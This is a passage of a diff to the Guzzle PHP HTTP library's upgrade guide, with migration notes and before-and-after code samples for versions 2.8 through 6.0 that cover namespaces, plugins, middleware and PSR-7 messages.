5.4. -- `Guzzle\Iterator\MapIterator` is not really needed when using PHP 5.5 because - it's easier to just wrap an iterator in a generator that maps values. - -For a replacement of these iterators, see https://github.com/nikic/iter - -## Log - -The LogPlugin has moved to https://github.com/guzzle/log-subscriber. The -`Guzzle\Log` namespace has been removed. Guzzle now relies on -`Psr\Log\LoggerInterface` for all logging. The MessageFormatter class has been -moved to `GuzzleHttp\Subscriber\Log\Formatter`. - -## Parser - -The `Guzzle\Parser` namespace has been removed. This was previously used to -make it possible to plug in custom parsers for cookies, messages, URI -templates, and URLs; however, this level of complexity is not needed in Guzzle -so it has been removed. - -- Cookie: Cookie parsing logic has been moved to - `GuzzleHttp\Cookie\SetCookie::fromString`. -- Message: Message parsing logic for both requests and responses has been moved - to `GuzzleHttp\Message\MessageFactory::fromMessage`. Message parsing is only - used in debugging or deserializing messages, so it doesn't make sense for - Guzzle as a library to add this level of complexity to parsing messages. -- UriTemplate: URI template parsing has been moved to - `GuzzleHttp\UriTemplate`. The Guzzle library will automatically use the PECL - URI template library if it is installed. -- Url: URL parsing is now performed in `GuzzleHttp\Url::fromString` (previously - it was `Guzzle\Http\Url::factory()`). If custom URL parsing is necessary, - then developers are free to subclass `GuzzleHttp\Url`. - -## Plugin - -The `Guzzle\Plugin` namespace has been renamed to `GuzzleHttp\Subscriber`. -Several plugins are shipping with the core Guzzle library under this namespace. - -- `GuzzleHttp\Subscriber\Cookie`: Replaces the old CookiePlugin. Cookie jar - code has moved to `GuzzleHttp\Cookie`. -- `GuzzleHttp\Subscriber\History`: Replaces the old HistoryPlugin. -- `GuzzleHttp\Subscriber\HttpError`: Throws errors when a bad HTTP response is - received. -- `GuzzleHttp\Subscriber\Mock`: Replaces the old MockPlugin. -- `GuzzleHttp\Subscriber\Prepare`: Prepares the body of a request just before - sending. This subscriber is attached to all requests by default. -- `GuzzleHttp\Subscriber\Redirect`: Replaces the RedirectPlugin. - -The following plugins have been removed (third-parties are free to re-implement -these if needed): - -- `GuzzleHttp\Plugin\Async` has been removed. -- `GuzzleHttp\Plugin\CurlAuth` has been removed. -- `GuzzleHttp\Plugin\ErrorResponse\ErrorResponsePlugin` has been removed. This - functionality should instead be implemented with event listeners that occur - after normal response parsing occurs in the guzzle/command package. - -The following plugins are not part of the core Guzzle package, but are provided -in separate repositories: - -- `Guzzle\Http\Plugin\BackoffPlugin` has been rewritten to be much simpler - to build custom retry policies using simple functions rather than various - chained classes. See: https://github.com/guzzle/retry-subscriber -- `Guzzle\Http\Plugin\Cache\CachePlugin` has moved to - https://github.com/guzzle/cache-subscriber -- `Guzzle\Http\Plugin\Log\LogPlugin` has moved to - https://github.com/guzzle/log-subscriber -- `Guzzle\Http\Plugin\Md5\Md5Plugin` has moved to - https://github.com/guzzle/message-integrity-subscriber -- `Guzzle\Http\Plugin\Mock\MockPlugin` has moved to - `GuzzleHttp\Subscriber\MockSubscriber`. -- `Guzzle\Http\Plugin\Oauth\OauthPlugin` has moved to - https://github.com/guzzle/oauth-subscriber - -## Service - -The service description layer of Guzzle has moved into two separate packages: - -- http://github.com/guzzle/command Provides a high level abstraction over web - services by representing web service operations using commands. -- http://github.com/guzzle/guzzle-services Provides an implementation of - guzzle/command that provides request serialization and response parsing using - Guzzle service descriptions. - -## Stream - -Stream have moved to a separate package available at -https://github.com/guzzle/streams. - -`Guzzle\Stream\StreamInterface` has been given a large update to cleanly take -on the responsibilities of `Guzzle\Http\EntityBody` and -`Guzzle\Http\EntityBodyInterface` now that they have been removed. The number -of methods implemented by the `StreamInterface` has been drastically reduced to -allow developers to more easily extend and decorate stream behavior. - -## Removed methods from StreamInterface - -- `getStream` and `setStream` have been removed to better encapsulate streams. -- `getMetadata` and `setMetadata` have been removed in favor of - `GuzzleHttp\Stream\MetadataStreamInterface`. -- `getWrapper`, `getWrapperData`, `getStreamType`, and `getUri` have all been - removed. This data is accessible when - using streams that implement `GuzzleHttp\Stream\MetadataStreamInterface`. -- `rewind` has been removed. Use `seek(0)` for a similar behavior. - -## Renamed methods - -- `detachStream` has been renamed to `detach`. -- `feof` has been renamed to `eof`. -- `ftell` has been renamed to `tell`. -- `readLine` has moved from an instance method to a static class method of - `GuzzleHttp\Stream\Stream`. - -## Metadata streams - -`GuzzleHttp\Stream\MetadataStreamInterface` has been added to denote streams -that contain additional metadata accessible via `getMetadata()`. -`GuzzleHttp\Stream\StreamInterface::getMetadata` and -`GuzzleHttp\Stream\StreamInterface::setMetadata` have been removed. - -## StreamRequestFactory - -The entire concept of the StreamRequestFactory has been removed. The way this -was used in Guzzle 3 broke the actual interface of sending streaming requests -(instead of getting back a Response, you got a StreamInterface). Streaming -PHP requests are now implemented through the `GuzzleHttp\Adapter\StreamAdapter`. - -3.6 to 3.7 ----------- - -### Deprecations - -- You can now enable E_USER_DEPRECATED warnings to see if you are using any deprecated methods.: - -```php -\Guzzle\Common\Version::$emitWarnings = true; -``` - -The following APIs and options have been marked as deprecated: - -- Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use `$request->getResponseBody()->isRepeatable()` instead. -- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. -- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. -- Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. -- Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. -- Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated -- Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. -- Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. -- Marked `Guzzle\Common\Collection::inject()` as deprecated. -- Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use - `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` or - `$client->setDefaultOption('auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` - -3.7 introduces `request.options` as a parameter for a client configuration and as an optional argument to all creational -request methods. When paired with a client's configuration settings, these options allow you to specify default settings -for various aspects of a request. Because these options make other previous configuration options redundant, several -configuration options and methods of a client and AbstractCommand have been deprecated. - -- Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use `$client->getDefaultOption('headers')`. -- Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use `$client->setDefaultOption('headers/{header_name}', 'value')`. -- Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use `$client->setDefaultOption('params/{param_name}', 'value')` -- Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. These will work through Guzzle 4.0 - - $command = $client->getCommand('foo', array( - 'command.headers' => array('Test' => '123'), - 'command.response_body' => '/path/to/file' - )); - - // Should be changed to: - - $command = $client->getCommand('foo', array( - 'command.request_options' => array( - 'headers' => array('Test' => '123'), - 'save_as' => '/path/to/file' - ) - )); - -### Interface changes - -Additions and changes (you will need to update any implementations or subclasses you may have created): - -- Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: - createRequest, head, delete, put, patch, post, options, prepareRequest -- Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` -- Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` -- Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to - `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a - resource, string, or EntityBody into the $options parameter to specify the download location of the response. -- Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a - default `array()` -- Added `Guzzle\Stream\StreamInterface::isRepeatable` -- Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. - -The following methods were removed from interfaces. All of these methods are still available in the concrete classes -that implement them, but you should update your code to use alternative methods: - -- Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use - `$client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or - `$client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))` or - `$client->setDefaultOption('headers/{header_name}', 'value')`. or - `$client->setDefaultOption('headers', array('header_name' => 'value'))`. -- Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use `$client->getConfig()->getPath('request.options/headers')`. -- Removed `Guzzle\Http\ClientInterface::expandTemplate()`. This is an implementation detail. -- Removed `Guzzle\Http\ClientInterface::setRequestFactory()`. This is an implementation detail. -- Removed `Guzzle\Http\ClientInterface::getCurlMulti()`. This is a very specific implementation detail. -- Removed `Guzzle\Http\Message\RequestInterface::canCache`. Use the CachePlugin. -- Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect`. Use the HistoryPlugin. -- Removed `Guzzle\Http\Message\RequestInterface::isRedirect`. Use the HistoryPlugin. - -### Cache plugin breaking changes - -- CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a - CacheStorageInterface. These two objects and interface will be removed in a future version. -- Always setting X-cache headers on cached responses -- Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin -- `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface - $request, Response $response);` -- `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` -- `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` -- Added `CacheStorageInterface::purge($url)` -- `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin - $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, - CanCacheStrategyInterface $canCache = null)` -- Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` - -3.5 to 3.6 ----------- - -* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. -* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution -* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). - For example, setHeader() first removes the header using unset on a HeaderCollection and then calls addHeader(). - Keeping the Host header and URL host in sync is now handled by overriding the addHeader method in Request. -* Specific header implementations can be created for complex headers. When a message creates a header, it uses a - HeaderFactory which can map specific headers to specific header classes. There is now a Link header and - CacheControl header implementation. -* Moved getLinks() from Response to just be used on a Link header object. - -If you previously relied on Guzzle\Http\Message\Header::raw(), then you will need to update your code to use the -HeaderInterface (e.g. toArray(), getAll(), etc.). - -### Interface changes - -* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate -* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() -* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in - Guzzle\Http\Curl\RequestMediator -* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. -* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface -* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() - -### Removed deprecated functions - -* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() -* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). - -### Deprecations - -* The ability to case-insensitively search for header values -* Guzzle\Http\Message\Header::hasExactHeader -* Guzzle\Http\Message\Header::raw. Use getAll() -* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object - instead. - -### Other changes - -* All response header helper functions return a string rather than mixing Header objects and strings inconsistently -* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle - directly via interfaces -* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist - but are a no-op until removed. -* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a - `Guzzle\Service\Command\ArrayCommandInterface`. -* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response - on a request while the request is still being transferred -* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess - -3.3 to 3.4 ----------- - -Base URLs of a client now follow the rules of http://tools.ietf.org/html/rfc3986#section-5.2.2 when merging URLs. - -3.2 to 3.3 ----------- - -### Response::getEtag() quote stripping removed - -`Guzzle\Http\Message\Response::getEtag()` no longer strips quotes around the ETag response header - -### Removed `Guzzle\Http\Utils` - -The `Guzzle\Http\Utils` class was removed. This class was only used for testing. - -### Stream wrapper and type - -`Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getStreamType()` are no longer converted to lowercase. - -### curl.emit_io became emit_io - -Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using the -'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' - -3.1 to 3.2 ----------- - -### CurlMulti is no longer reused globally - -Before 3.2, the same CurlMulti object was reused globally for each client. This can cause issue where plugins added -to a single client can pollute requests dispatched from other clients. - -If you still wish to reuse the same CurlMulti object with each client, then you can add a listener to the -ServiceBuilder's `service_builder.create_client` event to inject a custom CurlMulti object into each client as it is -created. - -```php -$multi = new Guzzle\Http\Curl\CurlMulti(); -$builder = Guzzle\Service\Builder\ServiceBuilder::factory('/path/to/config.json'); -$builder->addListener('service_builder.create_client', function ($event) use ($multi) { - $event['client']->setCurlMulti($multi); -} -}); -``` - -### No default path - -URLs no longer have a default path value of '/' if no path was specified. - -Before: - -```php -$request = $client->get('http://www.foo.com'); -echo $request->getUrl(); -// >> http://www.foo.com/ -``` - -After: - -```php -$request = $client->get('http://www.foo.com'); -echo $request->getUrl(); -// >> http://www.foo.com -``` - -### Less verbose BadResponseException - -The exception message for `Guzzle\Http\Exception\BadResponseException` no longer contains the full HTTP request and -response information. You can, however, get access to the request and response object by calling `getRequest()` or -`getResponse()` on the exception object. - -### Query parameter aggregation - -Multi-valued query parameters are no longer aggregated using a callback function. `Guzzle\Http\Query` now has a -setAggregator() method that accepts a `Guzzle\Http\QueryAggregator\QueryAggregatorInterface` object. This object is -responsible for handling the aggregation of multi-valued query string variables into a flattened hash. - -2.8 to 3.x ----------- - -### Guzzle\Service\Inspector - -Change `\Guzzle\Service\Inspector::fromConfig` to `\Guzzle\Common\Collection::fromConfig` - -**Before** - -```php -use Guzzle\Service\Inspector; - -class YourClient extends \Guzzle\Service\Client -{ - public static function factory($config = array()) - { - $default = array(); - $required = array('base_url', 'username', 'api_key'); - $config = Inspector::fromConfig($config, $default, $required); - - $client = new self( - $config->get('base_url'), - $config->get('username'), - $config->get('api_key') - ); - $client->setConfig($config); - - $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); - - return $client; - } -``` - -**After** - -```php -use Guzzle\Common\Collection; - -class YourClient extends \Guzzle\Service\Client -{ - public static function factory($config = array()) - { - $default = array(); - $required = array('base_url', 'username', 'api_key'); - $config = Collection::fromConfig($config, $default, $required); - - $client = new self( - $config->get('base_url'), - $config->get('username'), - $config->get('api_key') - ); - $client->setConfig($config); - - $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); - - return $client; - } -``` - -### Convert XML Service Descriptions to JSON - -**Before** - -```xml - - - - - - Get a list of groups - - - Uses a search query to get a list of groups - - - - Create a group - - - - - Delete a group by ID - - - - - - - Update a group - - - - - - -``` - -**After** - -```json -{ - "name": "Zendesk REST API v2", - "apiVersion": "2012-12-31", - "description":"Provides access to Zendesk views, groups, tickets, ticket fields, and users", - "operations": { - "list_groups": { - "httpMethod":"GET", - "uri": "groups.json", - "summary": "Get a list of groups" - }, - "search_groups":{ - "httpMethod":"GET", - "uri": "search.json?query=\"{query} type:group\"", - "summary": "Uses a search query to get a list of groups", - "parameters":{ - "query":{ - "location": "uri", - "description":"Zendesk Search Query", - "type": "string", - "required": true - } - } - }, - "create_group": { - "httpMethod":"POST", - "uri": "groups.json", - "summary": "Create a group", - "parameters":{ - "data": { - "type": "array", - "location": "body", - "description":"Group JSON", - "filters": "json_encode", - "required": true - }, - "Content-Type":{ - "type": "string", - "location":"header", - "static": "application/json" - } - } - }, - "delete_group": { - "httpMethod":"DELETE", - "uri": "groups/{id}.json", - "summary": "Delete a group", - "parameters":{ - "id":{ - "location": "uri", - "description":"Group to delete by ID", - "type": "integer", - "required": true - } - } - }, - "get_group": { - "httpMethod":"GET", - "uri": "groups/{id}.json", - "summary": "Get a ticket", - "parameters":{ - "id":{ - "location": "uri", - "description":"Group to get by ID", - "type": "integer", - "required": true - } - } - }, - "update_group": { - "httpMethod":"PUT", - "uri": "groups/{id}.json", - "summary": "Update a group", - "parameters":{ - "id": { - "location": "uri", - "description":"Group to update by ID", - "type": "integer", - "required": true - }, - "data": { - "type": "array", - "location": "body", - "description":"Group JSON", - "filters": "json_encode", - "required": true - }, - "Content-Type":{ - "type": "string", - "location":"header", - "static": "application/json" - } - } - } -} -``` - -### Guzzle\Service\Description\ServiceDescription - -Commands are now called Operations - -**Before** - -```php -use Guzzle\Service\Description\ServiceDescription; - -$sd = new ServiceDescription(); -$sd->getCommands(); // @returns ApiCommandInterface[] -$sd->hasCommand($name); -$sd->getCommand($name); // @returns ApiCommandInterface|null -$sd->addCommand($command); // @param ApiCommandInterface $command -``` - -**After** - -```php -use Guzzle\Service\Description\ServiceDescription; - -$sd = new ServiceDescription(); -$sd->getOperations(); // @returns OperationInterface[] -$sd->hasOperation($name); -$sd->getOperation($name); // @returns OperationInterface|null -$sd->addOperation($operation); // @param OperationInterface $operation -``` - -### Guzzle\Common\Inflection\Inflector - -Namespace is now `Guzzle\Inflection\Inflector` - -### Guzzle\Http\Plugin - -Namespace is now `Guzzle\Plugin`. Many other changes occur within this namespace and are detailed in their own sections below. - -### Guzzle\Http\Plugin\LogPlugin and Guzzle\Common\Log - -Now `Guzzle\Plugin\Log\LogPlugin` and `Guzzle\Log` respectively. - -**Before** - -```php -use Guzzle\Common\Log\ClosureLogAdapter; -use Guzzle\Http\Plugin\LogPlugin; - -/** @var \Guzzle\Http\Client */ -$client; - -// $verbosity is an integer indicating desired message verbosity level -$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $verbosity = LogPlugin::LOG_VERBOSE); -``` - -**After** - -```php -use Guzzle\Log\ClosureLogAdapter; -use Guzzle\Log\MessageFormatter; -use Guzzle\Plugin\Log\LogPlugin; - -/** @var \Guzzle\Http\Client */ -$client; - -// $format is a string indicating desired message format -- @see MessageFormatter -$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $format = MessageFormatter::DEBUG_FORMAT); -``` - -### Guzzle\Http\Plugin\CurlAuthPlugin - -Now `Guzzle\Plugin\CurlAuth\CurlAuthPlugin`. - -### Guzzle\Http\Plugin\ExponentialBackoffPlugin - -Now `Guzzle\Plugin\Backoff\BackoffPlugin`, and other changes. - -**Before** - -```php -use Guzzle\Http\Plugin\ExponentialBackoffPlugin; - -$backoffPlugin = new ExponentialBackoffPlugin($maxRetries, array_merge( - ExponentialBackoffPlugin::getDefaultFailureCodes(), array(429) - )); - -$client->addSubscriber($backoffPlugin); -``` - -**After** - -```php -use Guzzle\Plugin\Backoff\BackoffPlugin; -use Guzzle\Plugin\Backoff\HttpBackoffStrategy; - -// Use convenient factory method instead -- see implementation for ideas of what -// you can do with chaining backoff strategies -$backoffPlugin = BackoffPlugin::getExponentialBackoff($maxRetries, array_merge( - HttpBackoffStrategy::getDefaultFailureCodes(), array(429) - )); -$client->addSubscriber($backoffPlugin); -``` - -### Known Issues - -#### [BUG] Accept-Encoding header behavior changed unintentionally. - -(See #217) (Fixed in 09daeb8c666fb44499a0646d655a8ae36456575e) - -In version 2.8 setting the `Accept-Encoding` header would set the CURLOPT_ENCODING option, which permitted cURL to -properly handle gzip/deflate compressed responses from the server. In versions affected by this bug this does not happen. -See issue #217 for a workaround, or use a version containing the fix. +Guzzle Upgrade Guide +==================== + +5.0 to 6.0 +---------- + +Guzzle now uses [PSR-7](http://www.php-fig.org/psr/psr-7/) for HTTP messages. +Due to the fact that these messages are immutable, this prompted a refactoring +of Guzzle to use a middleware based system rather than an event system. Any +HTTP message interaction (e.g., `GuzzleHttp\Message\Request`) need to be +updated to work with the new immutable PSR-7 request and response objects. Any +event listeners or subscribers need to be updated to become middleware +functions that wrap handlers (or are injected into a +`GuzzleHttp\HandlerStack`). + +- Removed `GuzzleHttp\BatchResults` +- Removed `GuzzleHttp\Collection` +- Removed `GuzzleHttp\HasDataTrait` +- Removed `GuzzleHttp\ToArrayInterface` +- The `guzzlehttp/streams` dependency has been removed. Stream functionality + is now present in the `GuzzleHttp\Psr7` namespace provided by the + `guzzlehttp/psr7` package. +- Guzzle no longer uses ReactPHP promises and now uses the + `guzzlehttp/promises` library. We use a custom promise library for three + significant reasons: + 1. React promises (at the time of writing this) are recursive. Promise + chaining and promise resolution will eventually blow the stack. Guzzle + promises are not recursive as they use a sort of trampolining technique. + Note: there has been movement in the React project to modify promises to + no longer utilize recursion. + 2. Guzzle needs to have the ability to synchronously block on a promise to + wait for a result. Guzzle promises allows this functionality (and does + not require the use of recursion). + 3. Because we need to be able to wait on a result, doing so using React + promises requires wrapping react promises with RingPHP futures. This + overhead is no longer needed, reducing stack sizes, reducing complexity, + and improving performance. +- `GuzzleHttp\Mimetypes` has been moved to a function in + `GuzzleHttp\Psr7\mimetype_from_extension` and + `GuzzleHttp\Psr7\mimetype_from_filename`. +- `GuzzleHttp\Query` and `GuzzleHttp\QueryParser` have been removed. Query + strings must now be passed into request objects as strings, or provided to + the `query` request option when creating requests with clients. The `query` + option uses PHP's `http_build_query` to convert an array to a string. If you + need a different serialization technique, you will need to pass the query + string in as a string. There are a couple helper functions that will make + working with query strings easier: `GuzzleHttp\Psr7\parse_query` and + `GuzzleHttp\Psr7\build_query`. +- Guzzle no longer has a dependency on RingPHP. Due to the use of a middleware + system based on PSR-7, using RingPHP and it's middleware system as well adds + more complexity than the benefits it provides. All HTTP handlers that were + present in RingPHP have been modified to work directly with PSR-7 messages + and placed in the `GuzzleHttp\Handler` namespace. This significantly reduces + complexity in Guzzle, removes a dependency, and improves performance. RingPHP + will be maintained for Guzzle 5 support, but will no longer be a part of + Guzzle 6. +- As Guzzle now uses a middleware based systems the event system and RingPHP + integration has been removed. Note: while the event system has been removed, + it is possible to add your own type of event system that is powered by the + middleware system. + - Removed the `Event` namespace. + - Removed the `Subscriber` namespace. + - Removed `Transaction` class + - Removed `RequestFsm` + - Removed `RingBridge` + - `GuzzleHttp\Subscriber\Cookie` is now provided by + `GuzzleHttp\Middleware::cookies` + - `GuzzleHttp\Subscriber\HttpError` is now provided by + `GuzzleHttp\Middleware::httpError` + - `GuzzleHttp\Subscriber\History` is now provided by + `GuzzleHttp\Middleware::history` + - `GuzzleHttp\Subscriber\Mock` is now provided by + `GuzzleHttp\Handler\MockHandler` + - `GuzzleHttp\Subscriber\Prepare` is now provided by + `GuzzleHttp\PrepareBodyMiddleware` + - `GuzzleHttp\Subscriber\Redirect` is now provided by + `GuzzleHttp\RedirectMiddleware` +- Guzzle now uses `Psr\Http\Message\UriInterface` (implements in + `GuzzleHttp\Psr7\Uri`) for URI support. `GuzzleHttp\Url` is now gone. +- Static functions in `GuzzleHttp\Utils` have been moved to namespaced + functions under the `GuzzleHttp` namespace. This requires either a Composer + based autoloader or you to include functions.php. +- `GuzzleHttp\ClientInterface::getDefaultOption` has been renamed to + `GuzzleHttp\ClientInterface::getConfig`. +- `GuzzleHttp\ClientInterface::setDefaultOption` has been removed. +- The `json` and `xml` methods of response objects has been removed. With the + migration to strictly adhering to PSR-7 as the interface for Guzzle messages, + adding methods to message interfaces would actually require Guzzle messages + to extend from PSR-7 messages rather then work with them directly. + +## Migrating to middleware + +The change to PSR-7 unfortunately required significant refactoring to Guzzle +due to the fact that PSR-7 messages are immutable. Guzzle 5 relied on an event +system from plugins. The event system relied on mutability of HTTP messages and +side effects in order to work. With immutable messages, you have to change your +workflow to become more about either returning a value (e.g., functional +middlewares) or setting a value on an object. Guzzle v6 has chosen the +functional middleware approach. + +Instead of using the event system to listen for things like the `before` event, +you now create a stack based middleware function that intercepts a request on +the way in and the promise of the response on the way out. This is a much +simpler and more predictable approach than the event system and works nicely +with PSR-7 middleware. Due to the use of promises, the middleware system is +also asynchronous. + +v5: + +```php +use GuzzleHttp\Event\BeforeEvent; +$client = new GuzzleHttp\Client(); +// Get the emitter and listen to the before event. +$client->getEmitter()->on('before', function (BeforeEvent $e) { + // Guzzle v5 events relied on mutation + $e->getRequest()->setHeader('X-Foo', 'Bar'); +}); +``` + +v6: + +In v6, you can modify the request before it is sent using the `mapRequest` +middleware. The idiomatic way in v6 to modify the request/response lifecycle is +to setup a handler middleware stack up front and inject the handler into a +client. + +```php +use GuzzleHttp\Middleware; +// Create a handler stack that has all of the default middlewares attached +$handler = GuzzleHttp\HandlerStack::create(); +// Push the handler onto the handler stack +$handler->push(Middleware::mapRequest(function (RequestInterface $request) { + // Notice that we have to return a request object + return $request->withHeader('X-Foo', 'Bar'); +})); +// Inject the handler into the client +$client = new GuzzleHttp\Client(['handler' => $handler]); +``` + +## POST Requests + +This version added the [`form_params`](http://guzzle.readthedocs.org/en/latest/request-options.html#form_params) +and `multipart` request options. `form_params` is an associative array of +strings or array of strings and is used to serialize an +`application/x-www-form-urlencoded` POST request. The +[`multipart`](http://guzzle.readthedocs.org/en/latest/request-options.html#multipart) +option is now used to send a multipart/form-data POST request. + +`GuzzleHttp\Post\PostFile` has been removed. Use the `multipart` option to add +POST files to a multipart/form-data request. + +The `body` option no longer accepts an array to send POST requests. Please use +`multipart` or `form_params` instead. + +The `base_url` option has been renamed to `base_uri`. + +4.x to 5.0 +---------- + +## Rewritten Adapter Layer + +Guzzle now uses [RingPHP](http://ringphp.readthedocs.org/en/latest) to send +HTTP requests. The `adapter` option in a `GuzzleHttp\Client` constructor +is still supported, but it has now been renamed to `handler`. Instead of +passing a `GuzzleHttp\Adapter\AdapterInterface`, you must now pass a PHP +`callable` that follows the RingPHP specification. + +## Removed Fluent Interfaces + +[Fluent interfaces were removed](http://ocramius.github.io/blog/fluent-interfaces-are-evil) +from the following classes: + +- `GuzzleHttp\Collection` +- `GuzzleHttp\Url` +- `GuzzleHttp\Query` +- `GuzzleHttp\Post\PostBody` +- `GuzzleHttp\Cookie\SetCookie` + +## Removed functions.php + +Removed "functions.php", so that Guzzle is truly PSR-4 compliant. The following +functions can be used as replacements. + +- `GuzzleHttp\json_decode` -> `GuzzleHttp\Utils::jsonDecode` +- `GuzzleHttp\get_path` -> `GuzzleHttp\Utils::getPath` +- `GuzzleHttp\Utils::setPath` -> `GuzzleHttp\set_path` +- `GuzzleHttp\Pool::batch` -> `GuzzleHttp\batch`. This function is, however, + deprecated in favor of using `GuzzleHttp\Pool::batch()`. + +The "procedural" global client has been removed with no replacement (e.g., +`GuzzleHttp\get()`, `GuzzleHttp\post()`, etc.). Use a `GuzzleHttp\Client` +object as a replacement. + +## `throwImmediately` has been removed + +The concept of "throwImmediately" has been removed from exceptions and error +events. This control mechanism was used to stop a transfer of concurrent +requests from completing. This can now be handled by throwing the exception or +by cancelling a pool of requests or each outstanding future request +individually. + +## headers event has been removed + +Removed the "headers" event. This event was only useful for changing the +body a response once the headers of the response were known. You can implement +a similar behavior in a number of ways. One example might be to use a +FnStream that has access to the transaction being sent. For example, when the +first byte is written, you could check if the response headers match your +expectations, and if so, change the actual stream body that is being +written to. + +## Updates to HTTP Messages + +Removed the `asArray` parameter from +`GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header +value as an array, then use the newly added `getHeaderAsArray()` method of +`MessageInterface`. This change makes the Guzzle interfaces compatible with +the PSR-7 interfaces. + +3.x to 4.0 +---------- + +## Overarching changes: + +- Now requires PHP 5.4 or greater. +- No longer requires cURL to send requests. +- Guzzle no longer wraps every exception it throws. Only exceptions that are + recoverable are now wrapped by Guzzle. +- Various namespaces have been removed or renamed. +- No longer requiring the Symfony EventDispatcher. A custom event dispatcher + based on the Symfony EventDispatcher is + now utilized in `GuzzleHttp\Event\EmitterInterface` (resulting in significant + speed and functionality improvements). + +Changes per Guzzle 3.x namespace are described below. + +## Batch + +The `Guzzle\Batch` namespace has been removed. This is best left to +third-parties to implement on top of Guzzle's core HTTP library. + +## Cache + +The `Guzzle\Cache` namespace has been removed. (Todo: No suitable replacement +has been implemented yet, but hoping to utilize a PSR cache interface). + +## Common + +- Removed all of the wrapped exceptions. It's better to use the standard PHP + library for unrecoverable exceptions. +- `FromConfigInterface` has been removed. +- `Guzzle\Common\Version` has been removed. The VERSION constant can be found + at `GuzzleHttp\ClientInterface::VERSION`. + +### Collection + +- `getAll` has been removed. Use `toArray` to convert a collection to an array. +- `inject` has been removed. +- `keySearch` has been removed. +- `getPath` no longer supports wildcard expressions. Use something better like + JMESPath for this. +- `setPath` now supports appending to an existing array via the `[]` notation. + +### Events + +Guzzle no longer requires Symfony's EventDispatcher component. Guzzle now uses +`GuzzleHttp\Event\Emitter`. + +- `Symfony\Component\EventDispatcher\EventDispatcherInterface` is replaced by + `GuzzleHttp\Event\EmitterInterface`. +- `Symfony\Component\EventDispatcher\EventDispatcher` is replaced by + `GuzzleHttp\Event\Emitter`. +- `Symfony\Component\EventDispatcher\Event` is replaced by + `GuzzleHttp\Event\Event`, and Guzzle now has an EventInterface in + `GuzzleHttp\Event\EventInterface`. +- `AbstractHasDispatcher` has moved to a trait, `HasEmitterTrait`, and + `HasDispatcherInterface` has moved to `HasEmitterInterface`. Retrieving the + event emitter of a request, client, etc. now uses the `getEmitter` method + rather than the `getDispatcher` method. + +#### Emitter + +- Use the `once()` method to add a listener that automatically removes 